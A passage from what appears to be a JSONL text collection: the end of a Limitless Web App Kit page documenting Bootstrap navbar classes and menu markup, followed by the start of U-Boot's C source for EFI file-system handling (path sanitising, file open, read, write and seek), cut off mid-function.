        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tAdd full font overrides for popovers and tooltips\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        36 minutes ago
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tChris Arney created a new Design branch\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        2 hours ago
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tEugene Kopyov merged Master and Dev branches\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        Dec 18, 18:36
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHave Carousel ignore keyboard events\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        Dec 12, 05:46
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tUsers\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUsers online\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \"\"
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tJordana Ansley\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tLead web developer\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \"\"
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tWill Brason\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMarketing manager\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \"\"
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHanna Walden\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tProject manager\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \"\"
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDori Laperriere\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tBusiness developer\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \"\"
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tVanessa Aurelius\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUX expert\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tLevels\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • Second level
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Has child\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
          \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        • Third level
        • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Has child\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
            \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
          • Fourth level
          • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
          • Fourth level
          • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
          \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        • Third level
        • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • Second level
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tVictoria\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t

    Example markup:

    \n\t\t\t\t\t\t\t\t\t
    <!-- Left aligned navigation -->\n<ul class=\"nav navbar-nav\">\n\t<li class=\"active\"><a href=\"#\">Link</a></li>\n\t<li><a href=\"#\">Link</a></li>\n\t<li class=\"dropdown\">\n\t\t<a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">Dropdown <span class=\"caret\"></span></a>\n\t\t<ul class=\"dropdown-menu\">\n\t\t\t<li><a href=\"#\">Action</a></li>\n\t\t\t<li><a href=\"#\">Another action</a></li>\n\t\t\t<li><a href=\"#\">Something else here</a></li>\n\t\t</ul>\n\t</li>\n</ul>\n<!-- /left aligned navigation -->\n\n<!-- Right aligned navigation -->\n<ul class=\"nav navbar-nav navbar-right\">\n\t<li><a href=\"#\">Link</a></li>\n\t<li><a href=\"#\">Another link</a></li>\n\t<li><a href=\"#\">One more link</a></li>\n</ul>\n<!-- /right aligned navigation -->\n
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\n\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\n\n\n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    Navigation overview
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
      \n\t\t \t\t
    • \n\t\t \t\t
    • \n\t\t \t\t
    • \n\t\t \t
    \n\t \t
    \n\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\tHorizontal navigation - type of navigation that is used in the top/bottom navbars and has horizontal direction: left to right or right to left in RTL version. By default horizontal navigation is a part of navbar component and can include a simple link, link with icon and dropdown menu. Navigation can be placed in main navbar or in secondary navbar. Can be used in all layouts: with sidebar, 3 columns, double and dual sidebars, bottom navbar, fixed navbar etc. Default placement is main navbar. Horizontal navigation supports options:\n\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    1. Navigation placement
    \n\t\t\t\t\t\t\t

    Simple usage of horizontal navigation allows to add simple navigation links to the main navbar: left or right position, excluding navbar header area with logo. For more advanced usage navigation can have multiple menu levels, tabbed navigation option, links with icons, inline and absolute positioned labels and badges etc. And can be placed in separate secondary navbar or in both navbars: top or bottom, fixed or static. Everything depends on specific needs. Since horizontal navigation is a part of navbar component, is does support all available navbar options, components, sizes, colors etc.

    \n\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    2. Double side navigation
    \n\t\t\t\t\t\t\t

    By default horizontal navigation supports 2 main positions: left and right. For these positions are responsible 2 classes: .navbar-left and navbar-right that can be added to all navbar components to align them properly. For more advanced options like 3 or more positions, add grid columns inside navbar content. But please note: BS grid is mobile-first, if you need to use responsive columns, they wrap to a new line on certain screen size. To avoid this issue use .col-xs-* classes.

    \n\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    3. Multiple level dropdowns
    \n\t\t\t\t\t\t\t

    Horizontal navigation supports multiple menu levels with different directions. Navigation menu uses default markup for Bootstrap dropdown menus and opens children levels on click. Another option available - show submenu on hover using hover_dropdown.js plugin. Navigation dropdopwns support all available options for dropdown menus: border and background colors, icons, headers, dividers etc. For example - they can be white or match navbar background color by adding .bg-* and border-* classes to the dropdown.

    \n\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    4. Additional styling
    \n\t\t\t\t\t\t\t

    Depending on navbar background color, navigation menu automatically adjust link colors for parent level. By default all dropdowns have white background color, but this color can be changed by adding proper classes to the dropdown menu list. Available options are: border width and border color - .border-* class; background color - .bg-* class; active state background color - .element-* class.

    \n\t\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\n\n\n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    Component classes
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
      \n\t\t \t\t
    • \n\t\t \t\t
    • \n\t\t \t\t
    • \n\t\t \t
    \n\t \t
    \n\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\t\t\t\t\t\tThe table below contains default navbar classes for components available for use in the navbar component. Control navigation and elements placement, color theme of navbar and child elements, dropdown menu appearance and positioning, sizing by adding or removing proper class:\n\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
    ClassDescription
    .navbar-navDefault navbar navigation class, must be used with any navigation type and color. Responsible for basic navigation styling.
    .navbar-left, .navbar-rightPositioning classes. Align nav links, forms, buttons, or text, using the .navbar-left or .navbar-right utility classes. Both classes will add a CSS float in the specified direction
    .navbar-formPlace form content within .navbar-form for proper vertical alignment and collapsed behavior in narrow viewports. Use the alignment options to decide where it resides within the navbar content.
    .navbar-btnAdd the .navbar-btn class to <button> elements not residing in a <form> to vertically center them in the navbar. Supports default, small and mini button sizes.
    .navbar-textWrap strings of text in an element with .navbar-text, usually on a <p> tag for proper leading and color.
    .navbar-linkFor standard links that are not within the regular navbar navigation component, use the .navbar-link class to add the proper colors for the default and inverse navbar options.
    data-hover=\"dropdown\"This data attribute shows submenu on hover instead of click. Needs to be added to the parent navigation link after data-toggle=\"dropdown\". Requires hover_dropdown.min.js file to be added.
    .navbar.bg-*, .navbar-header.bg-*Apply custom background color to the whote navbar or navbar header only. All navbar components automatically adjust their styling according to the navbar color.
    .disabledDisable any navbar navigation item by adding .disabled class to the <li> element. To disable item in hover navigation version, data-hover=\"dropdown\" needs to be removed as well.
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\n\n\t\t\t
    \n\t\t\t\n\n\t\t
    \n\t\t\n\n\n\t\t\n\t\t
    \n\t\t\t© 2015. Limitless Web App Kit by Eugene Kopyov\n\t\t
    \n\t\t\n\n\t
    \n\t\n\n\n\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * EFI utils\n *\n * Copyright (c) 2017 Rob Clark\n */\n\n#include \n#include \n#include \n#include \n#include \n\n/* GUID for file system information */\nconst efi_guid_t efi_file_system_info_guid = EFI_FILE_SYSTEM_INFO_GUID;\n\nstruct file_system {\n\tstruct efi_simple_file_system_protocol base;\n\tstruct efi_device_path *dp;\n\tstruct blk_desc *desc;\n\tint part;\n};\n#define to_fs(x) container_of(x, struct file_system, base)\n\nstruct file_handle {\n\tstruct efi_file_handle base;\n\tstruct file_system *fs;\n\tloff_t offset; /* current file position/cursor */\n\tint isdir;\n\n\t/* for reading a directory: */\n\tstruct fs_dir_stream *dirs;\n\tstruct fs_dirent *dent;\n\n\tchar path[0];\n};\n#define to_fh(x) container_of(x, struct file_handle, base)\n\nstatic const struct efi_file_handle efi_file_handle_protocol;\n\nstatic char *basename(struct file_handle *fh)\n{\n\tchar *s = strrchr(fh->path, '/');\n\tif (s)\n\t\treturn s + 1;\n\treturn fh->path;\n}\n\nstatic int set_blk_dev(struct file_handle *fh)\n{\n\treturn fs_set_blk_dev_with_part(fh->fs->desc, fh->fs->part);\n}\n\nstatic int is_dir(struct file_handle *fh)\n{\n\tstruct fs_dir_stream *dirs;\n\n\tset_blk_dev(fh);\n\tdirs = fs_opendir(fh->path);\n\tif (!dirs)\n\t\treturn 0;\n\n\tfs_closedir(dirs);\n\n\treturn 1;\n}\n\n/*\n * Normalize a path which may include either back or fwd slashes,\n * double slashes, . or .. entries in the path, etc.\n */\nstatic int sanitize_path(char *path)\n{\n\tchar *p;\n\n\t/* backslash to slash: */\n\tp = path;\n\twhile ((p = strchr(p, '\\\\')))\n\t\t*p++ = '/';\n\n\t/* handle double-slashes: */\n\tp = path;\n\twhile ((p = strstr(p, \"//\"))) {\n\t\tchar *src = p + 1;\n\t\tmemmove(p, src, strlen(src) + 1);\n\t}\n\n\t/* handle extra /.'s */\n\tp = path;\n\twhile ((p = strstr(p, \"/.\"))) {\n\t\t/*\n\t\t * You'd be tempted to do this *after* handling \"..\"s\n\t\t * below to avoid having to check if \"/.\" is start of\n\t\t * a \"/..\", but that won't have the correct results..\n\t\t * for example, \"/foo/./../bar\" would get resolved to\n\t\t * \"/foo/bar\" if you did these two passes in the other\n\t\t * order\n\t\t */\n\t\tif (p[2] == '.') {\n\t\t\tp += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tchar *src = p + 2;\n\t\tmemmove(p, src, strlen(src) + 1);\n\t}\n\n\t/* handle extra /..'s: */\n\tp = path;\n\twhile ((p = strstr(p, \"/..\"))) {\n\t\tchar *src = p + 3;\n\n\t\tp--;\n\n\t\t/* find beginning of previous path entry: */\n\t\twhile (true) {\n\t\t\tif (p < path)\n\t\t\t\treturn -1;\n\t\t\tif (*p == '/')\n\t\t\t\tbreak;\n\t\t\tp--;\n\t\t}\n\n\t\tmemmove(p, src, strlen(src) + 1);\n\t}\n\n\treturn 0;\n}\n\n/* NOTE: despite what you would expect, 'file_name' is actually a path.\n * With windoze style backlashes, ofc.\n */\nstatic struct efi_file_handle *file_open(struct file_system *fs,\n\t\tstruct file_handle *parent, s16 *file_name, u64 mode)\n{\n\tstruct file_handle *fh;\n\tchar f0[MAX_UTF8_PER_UTF16] = {0};\n\tint plen = 0;\n\tint flen = 0;\n\n\tif (file_name) {\n\t\tutf16_to_utf8((u8 *)f0, (u16 *)file_name, 1);\n\t\tflen = utf16_strlen((u16 *)file_name);\n\t}\n\n\t/* we could have a parent, but also an absolute path: */\n\tif (f0[0] == '\\\\') {\n\t\tplen = 0;\n\t} else if (parent) {\n\t\tplen = strlen(parent->path) + 1;\n\t}\n\n\t/* +2 is for null and '/' */\n\tfh = calloc(1, sizeof(*fh) + plen + (flen * MAX_UTF8_PER_UTF16) + 2);\n\n\tfh->base = efi_file_handle_protocol;\n\tfh->fs = fs;\n\n\tif (parent) {\n\t\tchar *p = fh->path;\n\n\t\tif (plen > 0) {\n\t\t\tstrcpy(p, parent->path);\n\t\t\tp += plen - 1;\n\t\t\t*p++ = '/';\n\t\t}\n\n\t\tutf16_to_utf8((u8 *)p, (u16 *)file_name, flen);\n\n\t\tif (sanitize_path(fh->path))\n\t\t\tgoto error;\n\n\t\t/* check if file exists: */\n\t\tif (set_blk_dev(fh))\n\t\t\tgoto error;\n\n\t\tif (!((mode & EFI_FILE_MODE_CREATE) || fs_exists(fh->path)))\n\t\t\tgoto error;\n\n\t\t/* figure out if file is a directory: */\n\t\tfh->isdir = is_dir(fh);\n\t} else {\n\t\tfh->isdir = 1;\n\t\tstrcpy(fh->path, \"\");\n\t}\n\n\treturn &fh->base;\n\nerror:\n\tfree(fh);\n\treturn NULL;\n}\n\nstatic efi_status_t EFIAPI efi_file_open(struct efi_file_handle *file,\n\t\tstruct efi_file_handle **new_handle,\n\t\ts16 *file_name, u64 open_mode, u64 attributes)\n{\n\tstruct file_handle *fh = to_fh(file);\n\n\tEFI_ENTRY(\"%p, %p, \\\"%ls\\\", %llx, %llu\", file, new_handle, file_name,\n\t\t open_mode, attributes);\n\n\t*new_handle = file_open(fh->fs, fh, file_name, open_mode);\n\tif (!*new_handle)\n\t\treturn EFI_EXIT(EFI_NOT_FOUND);\n\n\treturn EFI_EXIT(EFI_SUCCESS);\n}\n\nstatic efi_status_t file_close(struct file_handle *fh)\n{\n\tfs_closedir(fh->dirs);\n\tfree(fh);\n\treturn EFI_SUCCESS;\n}\n\nstatic efi_status_t EFIAPI efi_file_close(struct efi_file_handle *file)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tEFI_ENTRY(\"%p\", file);\n\treturn EFI_EXIT(file_close(fh));\n}\n\nstatic efi_status_t EFIAPI efi_file_delete(struct efi_file_handle *file)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tEFI_ENTRY(\"%p\", file);\n\tfile_close(fh);\n\treturn EFI_EXIT(EFI_WARN_DELETE_FAILURE);\n}\n\nstatic efi_status_t file_read(struct file_handle *fh, u64 *buffer_size,\n\t\tvoid *buffer)\n{\n\tloff_t actread;\n\n\tif (fs_read(fh->path, (ulong)buffer, fh->offset,\n\t\t *buffer_size, &actread))\n\t\treturn EFI_DEVICE_ERROR;\n\n\t*buffer_size = actread;\n\tfh->offset += actread;\n\n\treturn EFI_SUCCESS;\n}\n\nstatic efi_status_t dir_read(struct file_handle *fh, u64 *buffer_size,\n\t\tvoid *buffer)\n{\n\tstruct efi_file_info *info = buffer;\n\tstruct fs_dirent *dent;\n\tunsigned int required_size;\n\n\tif (!fh->dirs) {\n\t\tassert(fh->offset == 0);\n\t\tfh->dirs = fs_opendir(fh->path);\n\t\tif (!fh->dirs)\n\t\t\treturn EFI_DEVICE_ERROR;\n\t}\n\n\t/*\n\t * So this is a bit awkward. Since fs layer is stateful and we\n\t * can't rewind an entry, in the EFI_BUFFER_TOO_SMALL case below\n\t * we might have to return without consuming the dent.. so we\n\t * have to stash it for next call.\n\t */\n\tif (fh->dent) {\n\t\tdent = fh->dent;\n\t\tfh->dent = NULL;\n\t} else {\n\t\tdent = fs_readdir(fh->dirs);\n\t}\n\n\n\tif (!dent) {\n\t\t/* no more files in directory: */\n\t\t/* workaround shim.efi bug/quirk.. as find_boot_csv()\n\t\t * loops through directory contents, it initially calls\n\t\t * read w/ zero length buffer to find out how much mem\n\t\t * to allocate for the EFI_FILE_INFO, then allocates,\n\t\t * and then calls a 2nd time. If we return size of\n\t\t * zero the first time, it happily passes that to\n\t\t * AllocateZeroPool(), and when that returns NULL it\n\t\t * thinks it is EFI_OUT_OF_RESOURCES. So on first\n\t\t * call return a non-zero size:\n\t\t */\n\t\tif (*buffer_size == 0)\n\t\t\t*buffer_size = sizeof(*info);\n\t\telse\n\t\t\t*buffer_size = 0;\n\t\treturn EFI_SUCCESS;\n\t}\n\n\t/* check buffer size: */\n\trequired_size = sizeof(*info) + 2 * (strlen(dent->name) + 1);\n\tif (*buffer_size < required_size) {\n\t\t*buffer_size = required_size;\n\t\tfh->dent = dent;\n\t\treturn EFI_BUFFER_TOO_SMALL;\n\t}\n\n\t*buffer_size = required_size;\n\tmemset(info, 0, required_size);\n\n\tinfo->size = required_size;\n\tinfo->file_size = dent->size;\n\tinfo->physical_size = dent->size;\n\n\tif (dent->type == FS_DT_DIR)\n\t\tinfo->attribute |= EFI_FILE_DIRECTORY;\n\n\tascii2unicode((u16 *)info->file_name, dent->name);\n\n\tfh->offset++;\n\n\treturn EFI_SUCCESS;\n}\n\nstatic efi_status_t EFIAPI efi_file_read(struct efi_file_handle *file,\n\t\t\t\t\t efi_uintn_t *buffer_size, void *buffer)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tefi_status_t ret = EFI_SUCCESS;\n\tu64 bs;\n\n\tEFI_ENTRY(\"%p, %p, %p\", file, buffer_size, buffer);\n\n\tif (!buffer_size || !buffer) {\n\t\tret = EFI_INVALID_PARAMETER;\n\t\tgoto error;\n\t}\n\n\tif (set_blk_dev(fh)) {\n\t\tret = EFI_DEVICE_ERROR;\n\t\tgoto error;\n\t}\n\n\tbs = *buffer_size;\n\tif (fh->isdir)\n\t\tret = dir_read(fh, &bs, buffer);\n\telse\n\t\tret = file_read(fh, &bs, buffer);\n\tif (bs <= SIZE_MAX)\n\t\t*buffer_size = bs;\n\telse\n\t\t*buffer_size = SIZE_MAX;\n\nerror:\n\treturn EFI_EXIT(ret);\n}\n\nstatic efi_status_t EFIAPI efi_file_write(struct efi_file_handle *file,\n\t\t\t\t\t efi_uintn_t *buffer_size,\n\t\t\t\t\t void *buffer)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tefi_status_t ret = EFI_SUCCESS;\n\tloff_t actwrite;\n\n\tEFI_ENTRY(\"%p, %p, %p\", file, buffer_size, buffer);\n\n\tif (set_blk_dev(fh)) {\n\t\tret = EFI_DEVICE_ERROR;\n\t\tgoto error;\n\t}\n\n\tif (fs_write(fh->path, (ulong)buffer, fh->offset, *buffer_size,\n\t\t &actwrite)) {\n\t\tret = EFI_DEVICE_ERROR;\n\t\tgoto error;\n\t}\n\n\t*buffer_size = actwrite;\n\tfh->offset += actwrite;\n\nerror:\n\treturn EFI_EXIT(ret);\n}\n\nstatic efi_status_t EFIAPI efi_file_getpos(struct efi_file_handle *file,\n\t\t\t\t\t efi_uintn_t *pos)\n{\n\tstruct file_handle *fh = to_fh(file);\n\n\tEFI_ENTRY(\"%p, %p\", file, pos);\n\n\tif (fh->offset <= SIZE_MAX) {\n\t\t*pos = fh->offset;\n\t\treturn EFI_EXIT(EFI_SUCCESS);\n\t} else {\n\t\treturn EFI_EXIT(EFI_DEVICE_ERROR);\n\t}\n}\n\nstatic efi_status_t EFIAPI efi_file_setpos(struct efi_file_handle *file,\n\t\tefi_uintn_t pos)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tefi_status_t ret = EFI_SUCCESS;\n\n\tEFI_ENTRY(\"%p, %zu\", file, pos);\n\n\tif (fh->isdir) {\n\t\tif (pos != 0) {\n\t\t\tret = EFI_UNSUPPORTED;\n\t\t\tgoto error;\n\t\t}\n\t\tfs_closedir(fh->dirs);\n\t\tfh->dirs = NULL;\n\t}\n\n\tif (pos == ~0ULL) {\n\t\tloff_t file_size;\n\n\t\tif (set_blk_dev(fh)) {\n\t\t\tret = EFI_DEVICE_ERROR;\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (fs_size(fh->path, &file_size)) {\n\t\t\tret = EFI_DEVICE_ERROR;\n\t\t\tgoto error;\n\t\t}\n\n\t\tpos = file_size;\n\t}\n\n\tfh->offset = pos;\n\nerror:\n\treturn EFI_EXIT(ret);\n}\n\nstatic efi_status_t EFIAPI efi_file_getinfo(struct efi_file_handle *file,\n\t\t\t\t\t const efi_guid_t *info_type,\n\t\t\t\t\t efi_uintn_t *buffer_size,\n\t\t\t\t\t void *buffer)\n{\n\tstruct file_handle *fh = to_fh(file);\n\tefi_status_t ret = EFI_SUCCESS;\n\n\tEFI_ENTRY(\"%p, %p, %p, %p\", file, 